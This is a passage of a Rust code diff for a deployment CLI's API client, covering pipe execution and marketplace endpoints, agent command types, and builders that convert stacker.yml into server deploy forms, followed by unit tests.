.map_err(|e| CliError::ConfigValidation(format!("Failed to get execution: {}", e)))?; + + if resp.status().as_u16() == 404 { + return Ok(None); + } + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::ConfigValidation( + stacker_api_failure_with_message( + "Get execution failed", + &format!("GET /api/v1/pipes/executions/{execution_id}"), + status, + &body, + cli_debug_enabled(), + ), + )); + } + + let api: ApiResponse = resp.json().await.map_err(|e| { + CliError::ConfigValidation(format!("Invalid execution response: {}", e)) + })?; + + Ok(api.item) + } + + /// Replay a previous pipe execution. + /// + /// `POST /api/v1/pipes/executions/{execution_id}/replay` + pub async fn replay_pipe_execution( + &self, + execution_id: &str, + ) -> Result { + let url = format!( + "{}/api/v1/pipes/executions/{}/replay", + self.base_url, execution_id + ); + let resp = self + .http + .post(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| { + CliError::ConfigValidation(format!("Failed to replay execution: {}", e)) + })?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::ConfigValidation( + stacker_api_failure_with_message( + "Replay failed", + &format!("POST /api/v1/pipes/executions/{execution_id}/replay"), + status, + &body, + cli_debug_enabled(), + ), + )); + } + + let api: ApiResponse = resp + .json() + .await + .map_err(|e| CliError::ConfigValidation(format!("Invalid replay response: {}", e)))?; + + api.item + .ok_or_else(|| CliError::ConfigValidation("No replay response returned".to_string())) + } + + /// Deploy (promote) a local pipe instance to a remote deployment. + /// + /// `POST /api/v1/pipes/instances/{instance_id}/deploy` + pub async fn deploy_pipe( + &self, + instance_id: &str, + deployment_hash: &str, + ) -> Result { + let url = format!( + "{}/api/v1/pipes/instances/{}/deploy", + self.base_url, instance_id + ); + let body = DeployPipeApiRequest { + deployment_hash: deployment_hash.to_string(), + }; + let resp = self + .http + .post(&url) + .bearer_auth(&self.token) + .json(&body) + .send() + .await + .map_err(|e| CliError::ConfigValidation(format!("Failed to deploy pipe: {}", e)))?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::ConfigValidation( + stacker_api_failure_with_message( + "Deploy failed", + &format!("POST /api/v1/pipes/instances/{instance_id}/deploy"), + status, + &body, + cli_debug_enabled(), + ), + )); + } + + let api: ApiResponse = resp + .json() + .await + .map_err(|e| CliError::ConfigValidation(format!("Invalid deploy response: {}", e)))?; + + api.item + .ok_or_else(|| CliError::ConfigValidation("No deploy response returned".to_string())) + } + + // ── Marketplace (creator) ──────────────────────── + + /// List the current user's marketplace template submissions. + pub async fn marketplace_list_mine(&self) -> Result, CliError> { + let url = format!("{}/api/templates/mine", self.base_url); + let resp = self + .http + .get(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| { + CliError::MarketplaceFailed(format!("Stacker server unreachable: {}", e)) + })?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::MarketplaceFailed( + stacker_api_failure_with_message( + "Marketplace submissions fetch failed", + "GET /api/templates/mine", + status, + &body, + cli_debug_enabled(), + ), + )); + } + + let api: ApiResponse = resp.json().await.map_err(|e| { + CliError::MarketplaceFailed(format!("Invalid response from Stacker server: {}", e)) + })?; + + Ok(api.list.unwrap_or_default()) + } + + /// Get review history for a template by ID. + pub async fn marketplace_reviews( + &self, + template_id: &str, + ) -> Result, CliError> { + let url = format!("{}/api/templates/{}/reviews", self.base_url, template_id); + let resp = self + .http + .get(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| { + CliError::MarketplaceFailed(format!("Stacker server unreachable: {}", e)) + })?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::MarketplaceFailed( + stacker_api_failure_with_message( + "Marketplace reviews fetch failed", + &format!("GET /api/templates/{template_id}/reviews"), + status, + &body, + cli_debug_enabled(), + ), + )); + } + + let api: ApiResponse = resp.json().await.map_err(|e| { + CliError::MarketplaceFailed(format!("Invalid response from Stacker server: {}", e)) + })?; + + Ok(api.list.unwrap_or_default()) + } + + /// Create or update a marketplace template (POST /api/templates). + pub async fn marketplace_create_or_update( + &self, + body: serde_json::Value, + ) -> Result { + let url = format!("{}/api/templates", self.base_url); + let resp = self + .http + .post(&url) + .bearer_auth(&self.token) + .json(&body) + .send() + .await + .map_err(|e| CliError::MarketplaceFailed(format!("create template: {}", e)))?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::MarketplaceFailed( + stacker_api_failure_with_message( + "Create template failed", + "POST /api/templates", + status, + &body, + cli_debug_enabled(), + ), + )); + } + + let api: ApiResponse = resp + .json() + .await + .map_err(|e| CliError::MarketplaceFailed(format!("create template response: {}", e)))?; + + api.item + .ok_or_else(|| CliError::MarketplaceFailed("No template in response".to_string())) + } + + /// Submit a template for marketplace review. + pub async fn marketplace_submit(&self, template_id: &str) -> Result<(), CliError> { + let url = format!("{}/api/templates/{}/submit", self.base_url, template_id); + let resp = self + .http + .post(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| { + CliError::MarketplaceFailed(format!("Stacker server unreachable: {}", e)) + })?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::MarketplaceFailed( + stacker_api_failure_with_message( + "Submit failed", + &format!("POST /api/templates/{template_id}/submit"), + status, + &body, + cli_debug_enabled(), + ), + )); + } + + Ok(()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Agent request/response types +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Request body for `POST /api/v1/agent/commands/enqueue`. +/// +/// Mirrors the server's `EnqueueRequest` — kept in sync so CLI payloads +/// are validated identically to direct API calls. +#[derive(Debug, Clone, Serialize)] +pub struct AgentEnqueueRequest { + pub deployment_hash: String, + pub command_type: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub priority: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub parameters: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub timeout_seconds: Option, +} + +impl AgentEnqueueRequest { + /// Create a request with only the required fields. + pub fn new(deployment_hash: impl Into, command_type: impl Into) -> Self { + Self { + deployment_hash: deployment_hash.into(), + command_type: command_type.into(), + priority: None, + parameters: None, + timeout_seconds: None, + } + } + + /// Builder: set typed parameters (serialized to JSON). + pub fn with_parameters(mut self, params: &T) -> Result { + self.parameters = Some(serde_json::to_value(params)?); + Ok(self) + } + + /// Builder: set raw JSON parameters. + pub fn with_raw_parameters(mut self, params: serde_json::Value) -> Self { + self.parameters = Some(params); + self + } + + /// Builder: set priority (low / normal / high / critical). + pub fn with_priority(mut self, priority: impl Into) -> Self { + self.priority = Some(priority.into()); + self + } + + /// Builder: set timeout in seconds. + pub fn with_timeout(mut self, seconds: i32) -> Self { + self.timeout_seconds = Some(seconds); + self + } +} + +/// Agent command info as returned by the commands API. +/// +/// Contains both status and (optionally) the result payload set by +/// the Status Panel agent after execution. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct AgentCommandInfo { + pub command_id: String, + pub deployment_hash: String, + #[serde(rename = "type", default)] + pub command_type: String, + pub status: String, + #[serde(default)] + pub priority: String, + #[serde(default)] + pub parameters: Option, + #[serde(default)] + pub result: Option, + #[serde(default)] + pub error: Option, + #[serde(default)] + pub created_at: String, + #[serde(default)] + pub updated_at: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct DeploymentCapabilityFeatures { + #[serde(default)] + pub kata_runtime: bool, + #[serde(default)] + pub compose: bool, + #[serde(default)] + pub backup: bool, + #[serde(default)] + pub pipes: bool, + #[serde(default)] + pub proxy_credentials_vault: bool, +} + +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct DeploymentCapabilitiesInfo { + #[serde(default)] + pub deployment_hash: String, + #[serde(default)] + pub status: String, + #[serde(default)] + pub capabilities: Vec, + #[serde(default)] + pub features: DeploymentCapabilityFeatures, +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Helper: build deploy form from stacker.yml config +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +use crate::cli::config_parser::{ServiceDefinition, StackerConfig}; + +/// Generate a short unique ID for app entries (similar to Stacker UI IDs). +fn generate_app_id() -> String { + use std::time::{SystemTime, UNIX_EPOCH}; + let ts = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap_or_default() + .as_millis(); + format!("cli_{:x}", ts) +} + +/// Parse a Docker image string like `user/repo:tag`, `repo:tag`, or `repo` +/// into (dockerhub_user, dockerhub_name, dockerhub_tag) tuple. +/// +/// The tag is separated from the name so the server / Python side doesn't +/// accidentally append `:latest` again. +fn parse_docker_image(image: &str) -> (Option, String, Option) { + // Split off tag first ("repo:tag" → "repo", Some("tag")) + let (image_no_tag, tag) = if let Some(pos) = image.rfind(':') { + // Avoid splitting on registry port like "registry.io:5000/repo" + let after_colon = &image[pos + 1..]; + if after_colon.contains('/') { + // The colon is part of a registry address, not a tag + (image, None) + } else { + (&image[..pos], Some(after_colon.to_string())) + } + } else { + (image, None) + }; + + // Now split user/name + if let Some((user_part, repo_part)) = image_no_tag.split_once('/') { + if user_part.contains('.') { + // Registry address (e.g. "ghcr.io/owner/repo") — keep as-is + (None, image_no_tag.to_string(), tag) + } else { + (Some(user_part.to_string()), repo_part.to_string(), tag) + } + } else { + (None, image_no_tag.to_string(), tag) + } +} + +/// Parse a port mapping string like "8080:80", "127.0.0.1:8080:80", or "3000" +/// into (host_port, container_port) tuple. +fn parse_port_mapping(port_str: &str) -> (String, String) { + // Remove protocol suffix like "/tcp", "/udp" + let port_no_proto = port_str.split('/').next().unwrap_or(port_str); + if let Some((host_part, container)) = port_no_proto.rsplit_once(':') { + let host_port = host_part.rsplit(':').next().unwrap_or(host_part); + (host_port.to_string(), container.to_string()) + } else { + (port_no_proto.to_string(), port_no_proto.to_string()) + } +} + +/// Parse a volume mapping string like "./dist:/usr/share/nginx/html" or "data:/var/lib/db" +/// into (host_path, container_path, read_only) tuple. +/// Handles optional `:ro` / `:rw` suffix (e.g. "/var/run/docker.sock:/var/run/docker.sock:ro"). +fn parse_volume_mapping(vol_str: &str) -> (String, String, bool) { + let parts: Vec<&str> = vol_str.split(':').collect(); + match parts.len() { + // "source:target:mode" (e.g. "/host:/container:ro") + 3 => (parts[0].to_string(), parts[1].to_string(), parts[2] == "ro"), + // "source:target" + 2 => (parts[0].to_string(), parts[1].to_string(), false), + // bare path + _ => (vol_str.to_string(), vol_str.to_string(), false), + } +} + +/// Convert a `ServiceDefinition` from stacker.yml into the Stacker server's +/// app JSON format (matching `forms::project::App` / `forms::project::Web`). +fn service_to_app_json(svc: &ServiceDefinition, network_ids: &[String]) -> serde_json::Value { + let (dockerhub_user, dockerhub_name, dockerhub_tag) = parse_docker_image(&svc.image); + let id = generate_app_id(); + + let shared_ports: Vec = svc + .ports + .iter() + .map(|p| { + let (host, container) = parse_port_mapping(p); + serde_json::json!({ + "host_port": host, + "container_port": container, + }) + }) + .collect(); + + let volumes: Vec = svc + .volumes + .iter() + .map(|v| { + let (host, container, read_only) = parse_volume_mapping(v); + serde_json::json!({ + "host_path": host, + "container_path": container, + "read_only": read_only, + }) + }) + .collect(); + + let environment: Vec = svc + .environment + .iter() + .map(|(k, v)| { + serde_json::json!({ + "key": k, + "value": v, + }) + }) + .collect(); + + let mut app = serde_json::json!({ + "_id": id, + "name": svc.name.clone(), + "code": svc.name.to_lowercase(), + "type": "web", + "dockerhub_name": dockerhub_name, + "restart": "always", + "custom": true, + "shared_ports": shared_ports, + "volumes": volumes, + "environment": environment, + "network": network_ids, + }); + + let obj = app.as_object_mut().unwrap(); + if let Some(user) = dockerhub_user { + obj.insert("dockerhub_user".to_string(), serde_json::json!(user)); + } + if let Some(tag) = dockerhub_tag { + obj.insert("dockerhub_tag".to_string(), serde_json::json!(tag)); + } + + app +} + +fn is_platform_managed_service(svc: &ServiceDefinition) -> bool { + crate::project_app::is_platform_managed_app_identity(&svc.name, Some(&svc.image)) +} + +/// Convert the `app` section of stacker.yml into the Stacker server's app JSON +/// format. Returns `None` if the app has no image (build-only local apps). +fn app_source_to_app_json( + config: &StackerConfig, + network_ids: &[String], +) -> Option { + let image = config.app.image.as_deref()?; + let (dockerhub_user, dockerhub_name, dockerhub_tag) = parse_docker_image(image); + let id = generate_app_id(); + + let app_name = config + .project + .identity + .clone() + .unwrap_or_else(|| config.name.clone()); + + // Ports: use explicit ports if provided, otherwise default from app type + let shared_ports: Vec = if config.app.ports.is_empty() { + let default_port = default_port_for_app_type(config.app.app_type); + vec![serde_json::json!({ + "host_port": default_port.to_string(), + "container_port": default_port.to_string(), + })] + } else { + config + .app + .ports + .iter() + .map(|p| { + let (host, container) = parse_port_mapping(p); + serde_json::json!({ + "host_port": host, + "container_port": container, + }) + }) + .collect() + }; + + // Volumes + let volumes: Vec = config + .app + .volumes + .iter() + .map(|v| { + let (host, container, read_only) = parse_volume_mapping(v); + serde_json::json!({ + "host_path": host, + "container_path": container, + "read_only": read_only, + }) + }) + .collect(); + + // Environment: merge top-level env + app-level (app wins) + let mut merged_env: std::collections::HashMap = config.env.clone(); + for (k, v) in &config.app.environment { + merged_env.insert(k.clone(), v.clone()); + } + let environment: Vec = merged_env + .iter() + .map(|(k, v)| serde_json::json!({ "key": k, "value": v })) + .collect(); + + let mut app = serde_json::json!({ + "_id": id, + "name": app_name, + "code": app_name.to_lowercase(), + "type": "web", + "dockerhub_name": dockerhub_name, + "restart": "always", + "custom": true, + "shared_ports": shared_ports, + "volumes": volumes, + "environment": environment, + "network": network_ids, + }); + + let obj = app.as_object_mut().unwrap(); + if let Some(user) = dockerhub_user { + obj.insert("dockerhub_user".to_string(), serde_json::json!(user)); + } + if let Some(tag) = dockerhub_tag { + obj.insert("dockerhub_tag".to_string(), serde_json::json!(tag)); + } + + Some(app) +} + +/// Map CLI AppType to default port (same as compose generator). +fn default_port_for_app_type(app_type: crate::cli::config_parser::AppType) -> u16 { + use crate::cli::config_parser::AppType; + match app_type { + AppType::Static => 80, + AppType::Node => 3000, + AppType::Python => 8000, + AppType::Rust => 8080, + AppType::Go => 8080, + AppType::Php => 9000, + AppType::Custom => 8080, + } +} + +/// Build the project creation body (matching `forms::project::ProjectForm`) +/// from the CLI's `StackerConfig`, including services from stacker.yml. +pub fn build_project_body(config: &StackerConfig) -> serde_json::Value { + let stack_code = config + .project + .identity + .clone() + .unwrap_or_else(|| config.name.clone()); + + // Create a default network + let network_id = format!("cli_net_{:x}", { + use std::time::{SystemTime, UNIX_EPOCH}; + SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap_or_default() + .as_millis() + }); + + let network_ids = vec![network_id.clone()]; + + // Convert the main app + services from stacker.yml to Stacker server + // app format. The main `app` section is the primary web application; + // additional `services` are supporting containers. + let mut web_apps: Vec = Vec::new(); + let mut service_apps: Vec = Vec::new(); + + // Include the main app (if it has an image) + if let Some(main_app) = app_source_to_app_json(config, &network_ids) { + web_apps.push(main_app); + } + + // Include additional services as service targets. Platform-managed apps + // are installed by their own roles and directories, not by the project + // compose, to avoid duplicate containers and host-port conflicts. + for svc in &config.services { + if is_platform_managed_service(svc) { + continue; + } + service_apps.push(service_to_app_json(svc, &network_ids)); + } + + serde_json::json!({ + "custom": { + "custom_stack_code": stack_code, + "project_name": config.name.clone(), + "web": web_apps, + "feature": [], + "service": service_apps, + "networks": [{ + "id": network_id, + "name": "default_network", + "driver": "bridge", + }], + } + }) +} + +pub fn attach_config_bundle_to_project_body( + project_body: &mut serde_json::Value, + artifacts: &crate::cli::config_bundle::ConfigBundleArtifacts, +) { + if let Some(custom) = project_body + .get_mut("custom") + .and_then(|custom| custom.as_object_mut()) + { + custom.insert( + "deployment_artifacts".to_string(), + serde_json::json!({ + "config_bundle": artifacts.artifact_metadata(), + }), + ); + } +} + +pub fn attach_config_bundle_to_deploy_form( + deploy_form: &mut serde_json::Value, + artifacts: &crate::cli::config_bundle::ConfigBundleArtifacts, +) { + if let Some(obj) = deploy_form.as_object_mut() { + obj.insert( + "environment".to_string(), + serde_json::Value::String(artifacts.environment.clone()), + ); + obj.insert( + "config_files".to_string(), + serde_json::Value::Array(artifacts.config_files.clone()), + ); + obj.insert( + "config_bundle".to_string(), + serde_json::json!({ + "manifest": artifacts.artifact_metadata(), + }), + ); + } +} + +/// Build the deploy form payload that matches the Stacker server's +/// `forms::project::Deploy` structure. +/// Generate a deterministic but unique server name from the project name. +/// +/// Format: `{project}-{4hex}` where the hex suffix is derived from the current +/// timestamp so each deploy gets a distinct name, e.g. `website-a3f1`. +/// +/// The name is sanitised to satisfy the strictest provider rules (Hetzner): +/// - only lowercase `a-z`, `0-9`, `-` +/// - must start with a letter +/// - must not end with `-` +/// - max 63 characters total +pub fn generate_server_name(project_name: &str) -> String { + use std::time::{SystemTime, UNIX_EPOCH}; + + // Sanitise project name: lowercase, replace non-alnum with hyphen, collapse runs + let sanitised: String = project_name + .to_lowercase() + .chars() + .map(|c| { + if c.is_ascii_alphanumeric() || c == '-' { + c + } else { + '-' + } + }) + .collect::() + .split('-') + .filter(|s| !s.is_empty()) + .collect::>() + .join("-"); + + // Ensure it starts with a letter (Hetzner requirement) + let base = if sanitised.is_empty() { + "srv".to_string() + } else if !sanitised.starts_with(|c: char| c.is_ascii_lowercase()) { + format!("srv-{}", sanitised) + } else { + sanitised + }; + + // 4-char hex suffix from current timestamp (unique per ~65k deploys within any second) + let ts = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap_or_default() + .as_millis(); + let suffix = format!("{:04x}", (ts & 0xFFFF) as u16); + + // Truncate base so total stays within 63 chars: base + '-' + 4-char suffix = base ≤ 58 + let max_base = 63 - 1 - suffix.len(); // 58 + let truncated = if base.len() > max_base { + base[..max_base].trim_end_matches('-').to_string() + } else { + base + }; + + format!("{}-{}", truncated, suffix) +} + +#[derive(Debug, Clone, Copy, Default)] +pub struct DeployFormOptions { + pub include_managed_proxy: bool, +} + +pub fn build_deploy_form_with_options( + config: &StackerConfig, + options: DeployFormOptions, +) -> serde_json::Value { + let mut form = build_deploy_form(config); + if !options.include_managed_proxy { + remove_extended_feature(&mut form, "nginx_proxy_manager"); + } + form +} + +pub fn build_deploy_form(config: &StackerConfig) -> serde_json::Value { + let cloud = config.deploy.cloud.as_ref(); + let provider = cloud + .map(|c| { + super::install_runner::provider_code_for_remote(&c.provider.to_string()).to_string() + }) + .unwrap_or_else(|| "htz".to_string()); + let region = cloud + .and_then(|c| c.region.clone()) + .unwrap_or_else(|| "nbg1".to_string()); + let server_size = cloud + .and_then(|c| c.size.clone()) + .unwrap_or_else(|| "cpx11".to_string()); + let os = match provider.as_str() { + "do" => "docker-20-04", // DigitalOcean marketplace image with Docker pre-installed + "htz" => "docker-ce", // Hetzner snapshot with Docker CE pre-installed (Ubuntu 24.04) + "cnt" => "ubuntu-22.04", // Contabo: standard Ubuntu image + _ => "ubuntu-22.04", + }; + + // Auto-generate a server name from the project name so every + // provisioned server gets a recognisable label in `stacker list servers`. + let project_name = config + .project + .identity + .clone() + .unwrap_or_else(|| config.name.clone()); + let server_name = generate_server_name(&project_name); + + let mut form = serde_json::json!({ + "cloud": { + "provider": provider, + "save_token": true, + }, + "server": { + "region": region, + "server": server_size, + "os": os, + "name": server_name, + }, + "stack": { + "stack_code": config.project.identity.clone().unwrap_or_else(|| config.name.clone()), + "vars": [], + "integrated_features": [], + "extended_features": [], + "subscriptions": [], + } + }); + + // Inject Docker registry credentials if provided (env vars or stacker.yml). + // These flow through the Stacker server to the Install Service, which passes + // them as Ansible extra vars (docker_registry, docker_username, docker_password). + let registry_creds = super::install_runner::resolve_docker_registry_credentials(config); + if !registry_creds.is_empty() { + if let Some(obj) = form.as_object_mut() { + obj.insert( + "registry".to_string(), + serde_json::Value::Object(registry_creds), + ); + } + } + + // When proxy type is Nginx or NginxProxyManager, inject "nginx_proxy_manager" + // into extended_features so the install service's Ansible playbook runs the + // nginx_proxy_manager role (collect_roles checks selected_features). + match config.proxy.proxy_type { + crate::cli::config_parser::ProxyType::Nginx + | crate::cli::config_parser::ProxyType::NginxProxyManager => { + if let Some(stack_obj) = form.get_mut("stack").and_then(|v| v.as_object_mut()) { + let features = stack_obj + .entry("extended_features") + .or_insert_with(|| serde_json::json!([])); + if let Some(arr) = features.as_array_mut() { + let npm = serde_json::Value::String("nginx_proxy_manager".to_string()); + if !arr.contains(&npm) { + arr.push(npm); + } + } + } + } + _ => {} + } + + // When monitoring.status_panel is enabled, inject the "statuspanel" role into + // integrated_features, set connection_mode so the installer recognizes the + // status panel flow, and pass vault_url in stack.vars so the Ansible role + // configures the remote status panel agent with the public Vault address. + if config.monitoring.status_panel { + // Resolve public Vault URL: env override → default constant. + let vault_url = + std::env::var("STACKER_VAULT_URL").unwrap_or_else(|_| DEFAULT_VAULT_URL.to_string()); + + if let Some(stack_obj) = form.get_mut("stack").and_then(|v| v.as_object_mut()) { + let features = stack_obj + .entry("integrated_features") + .or_insert_with(|| serde_json::json!([])); + if let Some(arr) = features.as_array_mut() { + let sp = serde_json::Value::String("statuspanel".to_string()); + if !arr.contains(&sp) { + arr.push(sp); + } + } + + // Inject vault_url into stack.vars so the Install Service Ansible + // statuspanel role configures the agent with the public Vault address. + let vars = stack_obj + .entry("vars") + .or_insert_with(|| serde_json::json!([])); + if let Some(arr) = vars.as_array_mut() { + arr.push(serde_json::json!({ + "key": "vault_url", + "value": vault_url + })); + arr.push(serde_json::json!({ + "key": "status_panel_port", + "value": "5000" + })); + } + } + if let Some(server_obj) = form.get_mut("server").and_then(|v| v.as_object_mut()) { + server_obj.insert( + "connection_mode".to_string(), + serde_json::Value::String("status_panel".to_string()), + ); + } + } + + form +} + +pub fn build_server_deploy_form( + config: &StackerConfig, + server_cfg: &crate::cli::config_parser::ServerConfig, + server_name: &str, + force_status_panel: bool, +) -> serde_json::Value { + build_server_deploy_form_with_options( + config, + server_cfg, + server_name, + force_status_panel, + DeployFormOptions { + include_managed_proxy: true, + }, + ) +} + +pub fn build_server_deploy_form_with_options( + config: &StackerConfig, + server_cfg: &crate::cli::config_parser::ServerConfig, + server_name: &str, + force_status_panel: bool, + options: DeployFormOptions, +) -> serde_json::Value { + let project_name = config + .project + .identity + .clone() + .unwrap_or_else(|| config.name.clone()); + + let mut form = serde_json::json!({ + "cloud": { + "provider": "own", + "save_token": false, + }, + "server": { + "name": server_name, + "srv_ip": server_cfg.host, + "ssh_user": server_cfg.user, + "ssh_port": server_cfg.port, + }, + "stack": { + "stack_code": project_name, + "vars": [], + "integrated_features": [], + "extended_features": [], + "subscriptions": [], + } + }); + + let registry_creds = super::install_runner::resolve_docker_registry_credentials(config); + if !registry_creds.is_empty() { + if let Some(obj) = form.as_object_mut() { + obj.insert( + "registry".to_string(), + serde_json::Value::Object(registry_creds), + ); + } + } + + if options.include_managed_proxy { + match config.proxy.proxy_type { + crate::cli::config_parser::ProxyType::Nginx + | crate::cli::config_parser::ProxyType::NginxProxyManager => { + if let Some(stack_obj) = form.get_mut("stack").and_then(|v| v.as_object_mut()) { + let features = stack_obj + .entry("extended_features") + .or_insert_with(|| serde_json::json!([])); + if let Some(arr) = features.as_array_mut() { + let npm = serde_json::Value::String("nginx_proxy_manager".to_string()); + if !arr.contains(&npm) { + arr.push(npm); + } + } + } + } + _ => {} + } + } + + if config.monitoring.status_panel || force_status_panel { + let vault_url = + std::env::var("STACKER_VAULT_URL").unwrap_or_else(|_| DEFAULT_VAULT_URL.to_string()); + + if let Some(stack_obj) = form.get_mut("stack").and_then(|v| v.as_object_mut()) { + let features = stack_obj + .entry("integrated_features") + .or_insert_with(|| serde_json::json!([])); + if let Some(arr) = features.as_array_mut() { + let sp = serde_json::Value::String("statuspanel".to_string()); + if !arr.contains(&sp) { + arr.push(sp); + } + } + + let vars = stack_obj + .entry("vars") + .or_insert_with(|| serde_json::json!([])); + if let Some(arr) = vars.as_array_mut() { + arr.push(serde_json::json!({ + "key": "vault_url", + "value": vault_url + })); + arr.push(serde_json::json!({ + "key": "status_panel_port", + "value": "5000" + })); + } + } + if let Some(server_obj) = form.get_mut("server").and_then(|v| v.as_object_mut()) { + server_obj.insert( + "connection_mode".to_string(), + serde_json::Value::String("status_panel".to_string()), + ); + } + } + + form +} + +fn remove_extended_feature(form: &mut serde_json::Value, code: &str) { + let Some(features) = form + .get_mut("stack") + .and_then(|stack| stack.get_mut("extended_features")) + .and_then(|features| features.as_array_mut()) + else { + return; + }; + + features.retain(|feature| feature.as_str() != Some(code)); +} + +#[cfg(test)] +mod tests { + use super::*; + use wiremock::matchers::{method, path}; + use wiremock::{Mock, MockServer, ResponseTemplate}; + + #[test] + fn stacker_api_failure_hides_endpoint_and_body_without_debug() { + let message = stacker_api_failure_with_debug( + "GET /cloud", + 400, + r#"{"message":"401 Unauthorized"}"#, + false, + ); + + assert!(message.contains("Stacker server request failed (400)")); + assert!(!message.contains("GET /cloud")); + assert!(!message.contains("401 Unauthorized")); + assert!(!message.contains(r#"{"message""#)); + assert!(message.contains("DEBUG=true")); + assert!(message.contains("RUST_LOG=debug")); + } + + #[test] + fn stacker_api_failure_includes_endpoint_and_body_with_debug() { + let message = stacker_api_failure_with_debug( + "GET /cloud", + 400, + r#"{"message":"401 Unauthorized"}"#, + true, + ); + + assert_eq!( + message, + r#"Stacker server GET /cloud failed (400): {"message":"401 Unauthorized"}"# + ); + } + + #[test] + fn test_build_deploy_form_defaults() { + let config = crate::cli::config_parser::ConfigBuilder::new() + .name("myproject") + .deploy_target(crate::cli::config_parser::DeployTarget::Cloud) + .cloud(crate::cli::config_parser::CloudConfig { + provider: crate::cli::config_parser::CloudProvider::Hetzner, + orchestrator: crate::cli::config_parser::CloudOrchestrator::Remote, + region: Some("fsn1".to_string()), + size: Some("cpx11".to_string()), + install_image: None, + remote_payload_file: None, + ssh_key: None, + key: None, + server: None, + }) + .build() + .unwrap(); + + let form = build_deploy_form(&config); + assert_eq!(form["cloud"]["provider"], "htz"); + assert_eq!(form["server"]["region"], "fsn1"); + assert_eq!(form["server"]["server"], "cpx11"); + assert_eq!(form["stack"]["stack_code"], "myproject"); + // Auto-generated server name should start with the project name + let name = form["server"]["name"].as_str().unwrap(); + assert!( + name.starts_with("myproject-"), + "server name should start with project name, got: {}", + name + ); + assert_eq!( + name.len(), + "myproject-".len() + 4, + "suffix should be 4 hex chars" + ); + } + + #[test] + fn test_attach_config_bundle_adds_deploy_files_and_stack_builder_metadata() { + let artifacts = crate::cli::config_bundle::ConfigBundleArtifacts { + environment: "production".to_string(), + manifest_path: std::path::PathBuf::from( + ".stacker/deploy/production/config-bundle.manifest.json", + ), + archive_path: std::path::PathBuf::from( + ".stacker/deploy/production/config-bundle.tar.zst", + ), + remote_compose_path: std::path::PathBuf::from( + ".stacker/deploy/production/docker-compose.remote.yml", + ), + manifest: crate::cli::config_bundle::ConfigBundleManifest { + version: 1, + environment: "production".to_string(), + files: vec![crate::cli::config_bundle::ConfigBundleFile { + source_path: "docker/production/.env".to_string(), + destination_path: + "/opt/stacker/deployments/production/files/docker/production/.env" + .to_string(), + mode: "0644".to_string(), + size: 17, + sha256: "abc123".to_string(), + }], + }, + config_files: vec![serde_json::json!({ + "name": ".env", + "content": "RUST_LOG=warning\n", + "destination_path": "/opt/stacker/deployments/production/files/docker/production/.env", + })], + }; + + let config = crate::cli::config_parser::ConfigBuilder::new() + .name("device-api") + .deploy_target(crate::cli::config_parser::DeployTarget::Cloud) + .build() + .unwrap(); + let mut project_body = build_project_body(&config); + let mut deploy_form = build_deploy_form(&config); + + attach_config_bundle_to_project_body(&mut project_body, &artifacts); + attach_config_bundle_to_deploy_form(&mut deploy_form, &artifacts); + + assert_eq!(deploy_form["environment"], "production"); + assert_eq!(deploy_form["config_files"][0]["name"], ".env"); + assert_eq!( + project_body["custom"]["deployment_artifacts"]["config_bundle"]["config_files"][0] + ["source_path"], + "docker/production/.env" + ); + assert_eq!( + project_body["custom"]["deployment_artifacts"]["config_bundle"]["config_files"][0] + ["content_hidden"], + true + ); + assert!( + project_body["custom"]["deployment_artifacts"]["config_bundle"]["config_files"][0] + .get("content") + .is_none() + ); + } + + #[test] + fn test_build_server_deploy_form_uses_existing_server_settings() { + let config = crate::cli::config_parser::ConfigBuilder::new() + .name("myproject") + .deploy_target(crate::cli::config_parser::DeployTarget::Server) + .server(crate::cli::config_parser::ServerConfig { + host: "203.0.113.10".to_string(), + user: "deploy".to_string(), + ssh_key: Some(std::path::PathBuf::from("/tmp/id_ed25519")), + port: 2222, + }) + .build() + .unwrap(); + let server_cfg = config.deploy.server.as_ref().unwrap(); + + let form = build_server_deploy_form(&config, server_cfg, "edge-box", true); + + assert_eq!(form["cloud"]["provider"], "own"); + assert_eq!(form["cloud"]["save_token"], false); + assert_eq!(form["server"]["name"], "edge-box"); + assert_eq!(form["server"]["srv_ip"], "203.0.113.10"); + assert_eq!(form["server"]["ssh_user"], "deploy"); + assert_eq!(form["server"]["ssh_port"], 2222); + assert_eq!(form["server"]["connection_mode"], "status_panel"); + assert_eq!(form["stack"]["stack_code"], "myproject"); + assert!(form["stack"]["integrated_features"] + .as_array() + .unwrap() + .iter() + .any(|value| value == "statuspanel")); + } + + #[test] + fn test_build_server_deploy_form_with_status_panel_monitoring_uses_connection_mode() { + let config = crate::cli::config_parser::ConfigBuilder::new() + 